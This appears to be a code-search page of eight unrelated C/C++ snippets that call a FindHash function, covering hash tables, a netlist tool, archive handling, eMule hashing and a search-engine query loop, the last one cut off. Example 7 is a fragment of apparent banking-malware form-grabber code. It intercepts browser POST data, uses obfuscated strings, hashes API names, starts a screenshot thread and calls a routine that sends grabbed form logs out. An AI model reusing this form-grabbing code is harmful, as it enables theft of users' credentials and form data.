Exemplo n.º 1
0
// Exported function to find a constant. Return TRUE if found,
// and store the value in *value
int FindConstant(char *addr, int len, int *value) {
   char name[256];
   Entry *ep;

   if (len <= 0 || len > 255)
      return 0;

   memcpy(name, addr, len);
   name[len] = 0;

   ep = FindHash(name);
   if (!ep) return 0;
   *value = ep->value;
   return 1;
}
Exemplo n.º 2
0
HASHPTR Find_and_Insert_Hash (HASHPTR symbol_tbl[], int size, char symbol[] , int key)
{
	HASHPTR hp;
	
    //printf("in find and insert!\n");
	if (key == 0) key = keyvalue (symbol);
	
    //printf("key = %d\n",key);
    
	if ((hp = FindHash (symbol_tbl, size, symbol, key)) == NULL) {
		//printf( "i didnt find it\n");
	    hp=InsertHash(symbol_tbl,size,symbol,key);
    }
   return(hp);	
}
Exemplo n.º 3
0
HRESULT SortDatabase(CDatabase &db)
{
  db.Streams.Sort(CompareStreamsByPos, NULL);

  {
    CRecordVector<int> sortedByHash;
    {
      for (int j = 0; j < db.Streams.Size(); j++)
        sortedByHash.Add(j);
      sortedByHash.Sort(CompareHashRefs, &db.Streams);
    }
    
    for (int i = 0; i < db.Items.Size(); i++)
    {
      CItem &item = db.Items[i];
      item.StreamIndex = -1;
      if (item.HasStream())
        item.StreamIndex = FindHash(db.Streams, sortedByHash, item.Hash);
    }
  }

  {
    CRecordVector<bool> used;
    int j;
    for (j = 0; j < db.Streams.Size(); j++)
    {
      const CStreamInfo &s = db.Streams[j];
      used.Add(s.Resource.IsMetadata() && s.PartNumber == 1);
    }
    for (int i = 0; i < db.Items.Size(); i++)
    {
      CItem &item = db.Items[i];
      if (item.StreamIndex >= 0)
        used[item.StreamIndex] = true;
    }
    for (j = 0; j < db.Streams.Size(); j++)
      if (!used[j])
      {
        CItem item;
        item.StreamIndex = j;
        item.HasMetadata = false;
        db.Items.Add(item);
    }
  }
  
  db.Items.Sort(CompareItems, NULL);
  return S_OK;
}
Exemplo n.º 4
0
void CAICHHashTree::SetBlockHash(uint64 nSize, uint64 nStartPos, CAICHHashAlgo* pHashAlg)
{
	wxASSERT ( nSize <= EMBLOCKSIZE );
	CAICHHashTree* pToInsert = FindHash(nStartPos, nSize);
	if (pToInsert == NULL) { // sanity
		wxFAIL;
		AddDebugLogLineM( false, logSHAHashSet, wxT("Critical Error: Failed to Insert SHA-HashBlock, FindHash() failed!"));
		return;
	}
	
	//sanity
	if (pToInsert->m_nBaseSize != EMBLOCKSIZE || pToInsert->m_nDataSize != nSize) {
		wxFAIL;
		AddDebugLogLineM( false, logSHAHashSet, wxT("Critical Error: Logical error on values in SetBlockHashFromData"));
		return;
	}

	pHashAlg->Finish(pToInsert->m_Hash);
	pToInsert->m_bHashValid = true;
}
Exemplo n.º 5
0
void CAICHHashTree::SetBlockHash(uint64 nSize, uint64 nStartPos, CAICHHashAlgo* pHashAlg){
	ASSERT ( nSize <= EMBLOCKSIZE );
	CAICHHashTree* pToInsert = FindHash(nStartPos, nSize);
	if (pToInsert == NULL){ // sanity
		ASSERT ( false );
		theApp.QueueDebugLogLine(/*DLP_VERYHIGH,*/ false, _T("Critical Error: Failed to Insert SHA-HashBlock, FindHash() failed!"));
		return;
	}
	
	//sanity
	if (pToInsert->GetBaseSize() != EMBLOCKSIZE || pToInsert->m_nDataSize != nSize){
		ASSERT ( false );
		theApp.QueueDebugLogLine(/*DLP_VERYHIGH,*/ false, _T("Critical Error: Logical error on values in SetBlockHashFromData"));
		return;
	}

	pHashAlg->Finish(pToInsert->m_Hash);
	pToInsert->m_bHashValid = true;
	//DEBUG_ONLY(theApp.QueueDebugLogLine(/*DLP_VERYLOW,*/ false, _T("Set ShaHash for block %u - %u (%u Bytes) to %s"), nStartPos, nStartPos + nSize, nSize, pToInsert->m_Hash.GetString()) );
	
}
Exemplo n.º 6
0
/*------add_PO-------------------------------------------------------
	adds a PO gate at each primary output
	should be called before levelize()

	modified by Hyung K Lee  2/15/1991
--------------------------------------------------------------------*/
int addPOGates() //add_PO
{
	//PO Gates only have 1 input from now on !!
	register int i, j;
	GATEPTR pGate, pNewPOGate, *pOutList;
	char strNewPOName[MAXSTRING];

	for (i = 0; i < g_iNoPO; i++)
	{
		pGate = g_net[g_PrimaryOut[i]];
		if ((pNewPOGate = g_net[g_iNoGate]) == NULL)
		{
			//ALWAYS Come Here !!
			ALLOCATE(pNewPOGate, GATETYPE, 1);
		}
		pNewPOGate->index = g_iNoGate;
		pNewPOGate->type = PO;
		pNewPOGate->inCount = 1;
		ALLOCATE(pNewPOGate->inList, GATEPTR, 1);
		pNewPOGate->inList[0] = pGate;
		pNewPOGate->outCount = 0;
		pNewPOGate->outList = NULL;
#ifdef LEARNFLG
		pNewPOGate->plearn = NULL;
#endif
		strcpy(strNewPOName, pGate->hash->symbol);
		strcat(strNewPOName, "_PO");
		while ((pNewPOGate->hash = FindHash(pArrSymbolTable, HASHSIZE, strNewPOName, 0)) != NULL)
		{
			//Avoid name conflict
			strcat(strNewPOName, "_PO");
		}
		if ((pNewPOGate->hash = InsertHash(pArrSymbolTable, HASHSIZE, strNewPOName, 0)) == NULL)
		{
			printFatalError(HASHERROR);
		}
		else
		{
			//ALWAYS Come Here !!
			pNewPOGate->hash->gate = pNewPOGate;
		}

		//////////////Memory Leak
		// 		pOutList = pGate->outList;
		// 		ALLOCATE(pGate->outList, GATEPTR, pGate->outCount + 1);
		// 		for (j = 0; j< pGate->outCount; j++)
		// 			pGate->outList[j] = pOutList[j];
		///////////////////////////
		GATEPTR *pTempOutList;
		pOutList = pGate->outList;
		ALLOCATE(pTempOutList, GATEPTR, pGate->outCount + 1);
		for (j = 0; j< pGate->outCount; j++)
		{
			pTempOutList[j] = pOutList[j];
		}
		free(pGate->outList); // If not, then memory leak !!
		pGate->outList = pTempOutList;
		//////////////////////////////////

		pGate->outList[pGate->outCount] = pNewPOGate;
		pGate->outCount += 1;

		g_PrimaryOut[i] = g_iNoGate;
		g_net[g_iNoGate++] = pNewPOGate;
		/*  	if(pOutList!=NULL) FREE(pOutList); */
	}

	return(g_iNoPO);
}
Exemplo n.º 7
0
bool MakeInfo( PREQUEST pReq, PCHAR buf, int len )
{

	// Собираем информацию об отправляемом запросе
	PCHAR MethodName;
	PCHAR Path;

	// Разбираем тип запроса

	if (!ParseRequestFirstLine(buf, &MethodName, &Path, NULL))
		return false;

	pReq->dwVerb = GetMethodFromStr(MethodName);

	if (pReq->dwVerb != hmGET && pReq->dwVerb!= hmPOST)
    {
		StrFree(MethodName);
        StrFree(Path);
		return false;
	}

	// Собираем URL
	PCHAR Host = GetHTTPHeaderValue(buf, ParamHost);

	PCHAR Protocol = ProtocolHTTP;
	if (pReq->bHttps) Protocol = ProtocolHTTPS;

	pReq->Url = StrNew(5, Protocol, "://", Host, "/", Path);
	StrFree(Path);
	StrFree(Host);
    if (pReq->Url == NULL) return false;


	// Проверяем POST данные
	if (pReq->dwVerb == hmPOST)
	{
		UpdateFFUserAgent(buf);

		DWORD HeaderHash = CalcHash(buf);
		if (FindHash(HeaderHash)) return true;

        // Проверяем тип контента
		PCHAR CT = GetHTTPHeaderValue(buf, ParamContentType);
		DWORD Hash = CalcHash(CT);
		StrFree(CT);
		if (Hash != 0x6B3CDFEC) /* url_encoded*/
			return true;

		// Обрабатываем пост данные
		PCHAR Optional = GetURLEncodedPostData(buf);
        pReq->Optional = Optional;
		if (Optional != NULL && ProcessPostData(pReq, Optional))
			AddHash(HeaderHash);


	}

  /*	if ( len < 10 )
	{
		return false;
	}

	DWORD dwMethod = -1;

	char Post[] = {'P','O','S','T',' ',0};
	char Get[]	= {'G','E','T',' ',0};

	char *Method = NULL;

	if ( !m_lstrncmp( buf, Get, 4 ) )
	{
		dwMethod = VERB_IS_GET;
		Method   = Get;
	}
		
	if ( !m_lstrncmp( buf, Post, 5 ) )
	{
		dwMethod = VERB_IS_POST;
		Method   = Post;
	}

	if ( dwMethod == (DWORD)-1 )
	{
		return false;
	}


	//----------------------------------------------------------------------


	typedef int ( WINAPI *fwsprintfA )( LPTSTR lpOut, LPCTSTR lpFmt, ... );
	fwsprintfA pwsprintfA = (fwsprintfA)GetProcAddressEx( NULL, 3, 0xEA3AF0D7 );

	char *Host   = NULL;
	char *Params = NULL;

	char Server[] = {'H','o','s','t',':',' ',0};

	if ( GetText( buf, &Host, Server, "\r\n" ) != -1 )
	{
		if ( GetText( buf, &Params, Method, " " ) != -1 )
		{
			char *Type = NULL;

			char https[] = {'h','t','t','p','s',':','/','/',0};
			char http[]  = {'h','t','t','p',':','/','/',0};

			if ( pReq->bHttps )
			{
				Type = https;
			}
			else
			{
				Type = http;
			}

			if ( ( pReq->Url = (char*)MemAlloc( 1024 ) ) != NULL )
			{
				pwsprintfA( pReq->Url, "%s%s%s", Type, Host, Params );
				pReq->dwVerb = dwMethod;
			}

			MemFree( Params );
		}

		MemFree( Server );
		MemFree( Host );
	}

	DWORD dwHeaderHash = CalcHash( buf );

	if ( pReq->Url != NULL && pReq->dwVerb == VERB_IS_POST )
	{
		if ( !FindHash( dwHeaderHash ) )
		{
			char ContentType[] = {'C','o','n','t','e','n','t','-','T','y','p','e',':',' ',0 };
			char *Content = NULL;

			if ( GetText( buf, &Content, ContentType, "\r\n" ) != -1 )
			{
				DWORD dwContentHash = CalcHash( Content );

				MemFree( Content );

				if ( dwContentHash == 0x6B3CDFEC ) //urlencode
				{
					DWORD dwLen = 0;

					char *PostReq = GetPostData( buf, &dwLen, len );

					if ( PostReq != NULL && dwLen )
					{
						if ( ( pReq->Optional = (char*)MemAlloc( dwLen + 1 ) ) != NULL )
						{
							m_memcpy( pReq->Optional, PostReq, dwLen );
						}

						if ( CalcHash( pReq->Optional ) == 0x24DE3210 )
						{
							StartThread( ScreensThread, NULL );
							AddHash( dwHeaderHash );
							return true;
						}

						MemFree( PostReq );

						char PostTag[]  = {'|','P','O','S','T',':',0};

						char *SendBuffer = (char*)MemAlloc( dwLen + m_lstrlen( pReq->Url ) + m_lstrlen( PostTag ) + 2 );

						if ( SendBuffer != NULL )
						{
							m_lstrcpy( SendBuffer, pReq->Url );
							m_lstrcat( SendBuffer, "?" );
							m_lstrcat( SendBuffer, PostTag  );
							m_lstrcat( SendBuffer, pReq->Optional );

							if ( !m_lstrlen( FFUserAgent ) )
							{
								char UserAgentStr[] = {'U','s','e','r','-','A','g','e','n','t',':',' ', 0}; 
								char *pUserAgent		= GetHttpInfo(UserAgentStr, buf );

								if ( pUserAgent == NULL )
								{
									FFUserAgent[0] = '-';
									FFUserAgent[1] = '\0';
								}
								else
								{
									if ( m_lstrlen( pUserAgent ) <= 255 )
									{
										m_lstrcpy( FFUserAgent, pUserAgent );
									}
								}

								MemFree( pUserAgent );
							}

							if ( SendFormGrabberLogs(pReq->Url, SendBuffer, FFUserAgent, BROWSER_TYPE_FF, DATA_TYPE_FORMGRAB ) )
							{
								AddHash( dwHeaderHash );
							}

							MemFree( SendBuffer );
						}						
					}
				}
			}
		}
	}
   */
	return true;
}
Exemplo n.º 8
0
int main(int argc, char* argv[]){
	// Declare variables-------------------------------------------------------------
	HashTable Index;				// Inverted index
	InitialiseHashTable(&Index);
	char text[MAXLEN];
	int test = 0;
	
	// 1. Check input parameters--------------------------------------------------------
	if (argc != 3 ){ 				// check number of arguments
		fprintf(stderr,"Error: Incorrect number of input argument\n");
		return -1;
	}else if(!IsFile(argv[1])){		// check if file is valid
		fprintf(stderr,"Error: File %s is invalid\n", argv[1]);
		return -1;
	}else if(!IsDir(argv[2])){		// check if directory is valid
		fprintf(stderr,"Error: Directory %s cannot be found\n", argv[2]);
		return -1;
	}
	
	// 2. Reconstruct Inverted Index-----------------------------------------------------
	printf("Please wait while the query engine is loading. It might take a few minutes... \n");
	if(!ReadFile(&Index, argv[1])){
		CleanUpHash(&Index);
		return -1;
	}
	
	
	// 3. Command Line interface and query -----------------------------------------------
	
	for(int j=0; j<9; j++){
		
		// Create text array for automated testing
		
		switch (j){
			case 0:
				printf("\n3.%d Test invalid input syntax\n",j+1);
				printf("QUERY :> AND dog\n");
				strcpy(text,"AND dog\n");
				break;
			case 1:
				printf("\n3.%d Test invalid input syntax\n", j+1);
				printf("QUERY :> cat OR AND dog\n");
				strcpy(text,"cat OR AND dog\n");
				break;
			case 2:
				printf("\n3.%d Test no result\n", j+1);
				printf("QUERY :> thisisrandom\n");
				strcpy(text,"thisisrandom\n");
				break;
			case 3:
				printf("\n3.%d Test single entry\n", j+1);
				printf("QUERY :> incredible\n");
				strcpy(text,"incredible\n");
				break;
			case 4:
				printf("\n3.%d Test uppercase\n", j+1);
				printf("QUERY :> Incredible\n");
				strcpy(text,"Incredible\n");
				break;
			case 5:
				printf("\n3.%d Test AND\n", j+1);
				printf("QUERY :> Dartmouth AND College AND Computer AND Science\n");
				strcpy(text,"Dartmouth AND College AND Computer AND Science\n");
				break;
			case 6:
				printf("\n3.%d Test space as AND\n", j+1);
				printf("QUERY :> Dartmouth College Computer Science\n");
				strcpy(text,"Dartmouth College Computer Science\n");
				break;
			case 7:
				printf("\n3.%d Test OR\n", j+1);
				printf("QUERY :> Dartmouth OR Computer\n");
				strcpy(text,"Dartmouth OR Computer\n");
				break;
			case 8:
				printf("\n3.%d Test combined\n", j+1);
				printf("QUERY :> Dartmouth College AND Hanlon OR Mathematics AND Computer Science AND Philosophy OR incredibles Pixar\n");
				strcpy(text,"Dartmouth College AND Hanlon OR Mathematics AND Computer Science AND Philosophy OR incredibles Pixar\n");
				break;
		
		}
		// a) declare variables
		int unionflag, flag, size_temp, size_intersect, size_final, count;
		char wordarray[MAXLEN][MAXLEN];
		int temparray[MAXSIZE][2], intersect[MAXSIZE][2], final[MAXSIZE][2];
		
		// b) instantiate variables
		size_temp = size_intersect = size_final = unionflag = flag = 0;
		count = StringToWord(wordarray,text);
		
		// c) query
		for(int i=0; i<count; i++){
			if(i==0 && strcmp(wordarray[i],"AND") && strcmp(wordarray[i],"OR")){ 	// if it's the first word and is not invalid
				NormalizeWord(wordarray[i]);
				size_intersect = FindHash(wordarray[i], intersect, Index);
				continue;
			}else if(i==0){ 	// if it is first word and invalid
				flag = 1; break;
			}else if(unionflag){
				if(strcmp(wordarray[i],"AND") && strcmp(wordarray[i],"OR")){
					NormalizeWord(wordarray[i]);
					size_intersect = FindHash(wordarray[i], intersect, Index);
					unionflag = 0;
					continue;
				}else{
					flag = 1; break;
				}
			}
			
			if (!strcmp(wordarray[i],"AND")){	// if it's AND
				if(CheckOperator(wordarray,i,count)){
					NormalizeWord(wordarray[i+1]);
					size_temp = FindHash(wordarray[i+1], temparray, Index);
					size_intersect = FindIntersection(intersect, size_intersect, temparray, size_temp);
					i++;
					continue;
				}else{
					flag = 1; break;
				}
			}else if(!strcmp(wordarray[i],"OR")){ // if it's OR
				if(CheckOperator(wordarray,i,count)){
					size_final = FindUnion(final, size_final, intersect, size_intersect);
					size_intersect = 0;
					unionflag = 1;
					continue;
				}else{
					flag = 1; break;
				}
			}else{
				NormalizeWord(wordarray[i]);
				size_temp = FindHash(wordarray[i], temparray, Index);
				size_intersect = FindIntersection(intersect, size_intersect, temparray, size_temp);
				continue;
			}
		}